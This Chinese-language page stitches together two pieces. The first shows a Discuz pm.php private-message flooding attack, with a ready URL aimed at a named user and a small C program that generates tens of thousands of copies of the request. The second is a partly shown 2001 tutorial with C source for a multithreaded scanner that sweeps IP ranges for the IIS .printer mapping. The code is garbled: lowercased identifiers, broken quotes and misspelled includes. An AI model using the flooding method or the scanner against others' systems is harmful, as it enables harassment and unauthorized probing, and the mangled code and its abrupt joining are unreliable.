大家可以看到pm.php文件的86行的代码:
86 } elseif($action == ’send’) { 87 88 if(!$pmsubmit) { …… 179 showmessage(’pm_send_succeed’, ‘pm.php’); 180 } |
这部分代码没有检测用户发送短信的时间间隔限制代码。我们只要注册任意一个用户登陆后,提交:
| http://127.0.0.1/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test |
就可以轰炸这个用户了。提高效率的攻击方法:
#incluse<stdio.h> main() { int i; for(i=0;i<55933;i++) { printf(”www.xxx.com/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test”,i); } } |
编译运行file.exe >discuzpm.txt,然后把discuzpm.txt导入任何一款CGI扫描器。Run……
有很多网站为了安全起见,在web server前面架了防火墙,或者做了tcp/ip过滤,对外只开放tcp 80 端口。从入侵者角度来看,要入侵那么从80上跑的cgi入手是比较可行的,当然也可以用别的办法,例如旁敲侧击,呵呵。从网管角度来看,一是要保证cgi的安全性,另外网络的整体安全性也是很重要的。针对基于80端口入侵、防范而出的cgi扫描器数不胜数,但基本上原理都一样。
cgi扫描器原理说起来其实非常简单,可以用四句话来概括:<1>连接目标web server;<2>发送一个特殊的请求;<3>接收目标服务器返回数据;<4>根据返回数据判断目标服务器是否有此cgi漏洞。
当管理的服务器达到一定数量的时候,手工检测自己的服务器是否存在各种各样的cgi漏洞,那就太消耗时间和精力了,所以一个网管手上有个比较好用的cgi漏洞扫描器还是必要的。ok!今天我们就自己来动手用c写一个简单的cgi扫描器,帮助自己在日常工作中检测服务器:))
源代码如下,很多地方我都加了注释,别嫌我烦哦:))编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。
/*************************************************************************
module:cgicheck.cpp
author:ey4s<ey4s@21cn.com>
date:2001/5/16
说明:这是一个console下多线程,带有进度显示的cgi扫描器的模板,更改一下szsign和sendbuff就可以扫描其他cgi漏洞,设置了连接、发送、接收超时,速度还可以哦。希望可以帮助到admins检测自己的服务器:))
*************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#define iport 80//目标web server端口
#define szsign ”500 13server: microsoft-iis/5.0″//根据此标志来检查目标是否有漏洞
#pragma comment(lib,”ws2_32.lib”)
///////////////////////////////////////////////////////////////////////////
//
//定义&初始化全局变量
//
char *sendbuff=”get /null.printer”,//发送的请求buff
currenttarget[52]={0},//存放最后一个线程将扫描的目标
turn[4][2]={”-”,”",”|”,”/”};//显示进度时的字符
int sendbufflen=strlen(sendbuff),//发送的buff长度
iconntimeout,//tcp connect timeout
ii=0,//扫描进度
itotal;//服务器总数
handle hsemaphore=null,//信标内核对象句柄,用来控制线程数量
hstdout;//console标准输出句柄,做进度显示的时候用的
struct timeval timeout;//连接、发送和接收的超时值
dword sleeptime;//每个一个线程后等待的时间
/*
sleeptime值根据用户输入的线程数量[threadnum]和tcp connecttimeout[conntimeo]来计算。确保在conntimeo时间左右开 threadnum个线程。这样在conntimeo时间后,所开的线程开始陆续超时退出,可以继续稳定的开线程,可以有效的保证同时有 threadnum个线程在运行。
*/
///////////////////////////////////////////////////////////////////////////
void showerror(char *);//显示出错信息函数,可以写完善一些,偶偷懒了:)
bool resetcursor(void);//重置光标位置,线程输出的时候调用的
dword winapi showproinfo(lpvoid);//显示进度信息
dword winapi scan(lpvoid);//扫描函数
void usage(char *);//帮助函数
///////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
handle hthread=null;//线程句柄
dword dwthreadid;//线程id
struct sockaddr_in sa;
int i,
maxthread;//最大线程数量
wsadata wsd;
long previouscount;
clock_t start,end;//程序运行的起始和结束时间
double duration;
//检查用户输入参数
if(argc!=5)
{
usage(argv[0]);
return 1;
}
//get target range
int startnet=inet_addr(argv[1]);
int stopnet=inet_addr(argv[2]);
int starthost=ntohl(startnet);
int stophost=ntohl(stopnet);
//取得线程数量
maxthread=atoi(argv[3]);
//取得conn超时时间
iconntimeout=atoi(argv[4]);
//检查参数合法性
if((iconntimeout>6) || (iconntimeout<2) || (maxthread<1) || (maxthread>500) || (stophost<starthost))
{
usage(argv[0]);
return 1;
}
//计算时间
sleeptime=1000*iconntimeout/maxthread;
//设置连接超时值
timeout.tv_sec = iconntimeout;
timeout.tv_usec =0;
__try
{
//开始计时
start=clock();
//加载winsock库
if (wsastartup(makeword(1,1), &wsd) != 0)
{
showerror(”wsastartup”);
__leave;
}
//创建信标内核对象句柄
hsemaphore=createsemaphore(null,maxthread,maxthread,null);
if(hsemaphore==null)
{
showerror(”createsemaphore”);
__leave;
}
//取得console标准输出句柄
hstdout=getstdhandle(std_output_handle);
if(hstdout==invalid_handle_value)
{
showerror(”getstdhandle”);
__leave;
}
//设置目标总数
itotal=stophost-starthost;
//创建进度显示线程
hthread=createthread(null,0,showproinfo,null,0,&dwthreadid);
if(hthread==null)
{
showerror(”1 createthread”);
__leave;
}
//关闭句柄
closehandle(hthread);
//循环创建扫描线程
for(i=starthost;i<=stophost;i++)
{
//等待信标内核对象通知
waitforsingleobject(hsemaphore,infinite);
//create thread to scan
hthread=createthread(null,0,scan,(lpvoid)i,0,&dwthreadid);
if(hthread==null)
{
showerror(”2 createthread”);
break;
}
//进度自加1
ii++;
//重设最后一个线程扫描的目标
sa.sin_addr.s_addr=htonl(i);
strncpy(currenttarget,inet_ntoa(sa.sin_addr),sizeof(currenttarget));
//休息一会儿:))
sleep(sleeptime);
//关闭线程句柄
closehandle(hthread);
}
//等待所有线程结束
while(1)
{
waitforsingleobject(hsemaphore,infinite);
if(!releasesemaphore(hsemaphore,1,&previouscount))
{
showerror(”main() releasesemaphore”);
sleep(5000);
break;
}
if(previouscount==(maxthread-1))
{
printf(”all done.”);
break;
}
sleep(500);
}
}//end of try
//搞定,清场,收工
__finally
{
//计时结束
end=clock();
//转换时间格式
duration = (double)(end - start) / clocks_per_sec;
//显示所用时间
printf(”complete.scan %d targets use %2.1f seconds.speed %0.3g/s”,itotal,duration,itotal/duration);
//关闭句柄
closehandle(hstdout);
closehandle(hsemaphore);
wsacleanup();
}
return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//回显错误信息函数
//
void showerror(char *msg)
{
messagebox(null,msg,”error”,0);
//printf(”%s failed:%d”,getlasterror());
}
//////////////////////////////////////////////////////////////////////////
//
//重置光标位置函数,以便扫描线程输出结果
//
bool resetcursor()
{
console_screen_buffer_info consolescreenbufferinfo;
//取得当前光标位置
if(!getconsolescreenbufferinfo(hstdout,&consolescreenbufferinfo))
{
showerror(”getconsolescreenbufferinfo”);
return false;
}
//设置光标x坐标为0
consolescreenbufferinfo.dwcursorposition.x=0;
//设置当前光标位置
setconsolecursorposition(hstdout,consolescreenbufferinfo.dwcursorposition);
return true;
}
///////////////////////////////////////////////////////////////////////////
//
//显示进度信息函数
//
dword winapi showproinfo(lpvoid lp)
{
int j,k;
console_screen_buffer_info consolescreenbufferinfo;
float m;
for(j=0;ii<itotal;j++)
{
//休息一会儿:)))
sleep(sleeptime);
//取得当前光标位置
if(!getconsolescreenbufferinfo(hstdout,&consolescreenbufferinfo))
{
showerror(”getconsolescreenbufferinfo”);
return 1;
}
//设置百分比进度显示的x坐标
consolescreenbufferinfo.dwcursorposition.x=0;
//设置当前光标位置
setconsolecursorposition(hstdout,consolescreenbufferinfo.dwcursorposition);
//已经完成的百分比
m=(ii+1)*100.00/itotal;
//显示进度
if(ii==itotal)
{
printf(”******** 100%% wait %d seconds to exit ******** ”,iconntimeout);
break;
}
else
{
k=j%4;
printf(”%-15s %s [%d/%d] %s %%%0.3g”,currenttarget,turn[k],ii,itotal,turn[k],m);
}
}//end of for
return 0;
}
///////////////////////////////////////////////////////////////////////////
//
//扫描函数
//
dword winapi scan(lpvoid lp)
{
int i=(int)lp,ierr;
struct sockaddr_in server;
socket s=invalid_socket;
char recvbuff[1024]={0},*ptr;
int recvbufflen=sizeof(recvbuff);
u_long ul=1;//初始化为为非0值
fd_set r,w;
//create socket
s=socket(af_inet, sock_stream, ipproto_tcp);
if(s==invalid_socket)
{
printf(”create socket failed:%d”,getlasterror());
exitprocess(1);
}
//fill the addr struct
server.sin_family=af_inet;
server.sin_port=htons(iport);
server.sin_addr.s_un.s_addr=htonl(i);
__try
{
//设置socket为非锁定模式,ul为0值的话,那么soocket将被设置为锁定模式
ierr=ioctlsocket(s,fionbio,(unsigned long*)&ul);
if(ierr==socket_error )
{
resetcursor();
showerror(”ioctlsocket”);
exitprocess(1);
}
//printf(”%x ioctl ok.strat conn”,i);
//connect to target
connect(s,(struct sockaddr *)&server,sizeof(server));
//printf(”%x conn return,start select w”,i);
//设置select参数
fd_zero(&w);
fd_set(s, &w);
//等待connect成功&socket可写
ierr=select(0, 0, &w, 0, &timeout);
//printf(”%x select w return %d”,i,ierr);
//等待返回后,socket仍不可写则退出
if((ierr==socket_error) || (ierr==0))
{
//printf(”%x select return w err,exit”,i);
__leave;
}
//socket可写则继续
else
{
//send buff to target
//printf(”%x send”,i);
ierr=send(s,sendbuff,sendbufflen,0);
//printf(”%x send return”,i);
if(ierr==socket_error)
__leave;
}
//等待socket可读
fd_zero(&r);
fd_set(s, &r);
//printf(”%x start select r”,i);
ierr=select(0, &r, 0, 0, &timeout);
//printf(”%x select r return %d”,i,ierr);
if((ierr==socket_error) || (ierr==0))
{
//printf(”%x select r err,exit”,i);
__leave;
}
else
{
//recv buff from target
//printf(”%x start recv”,i);
ierr=recv(s,recvbuff,recvbufflen,0);
//printf(”%x recv ret”,i);
if(ierr==socket_error)
__leave;
}
//verify buff
ptr=strstr(recvbuff,szsign);
if(ptr!=null)
{
//线程输出前要先调用resetcursor函数
resetcursor();
//输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱
printf(”[%-15s] has .printer mapped. “,inet_ntoa(server.sin_addr));
…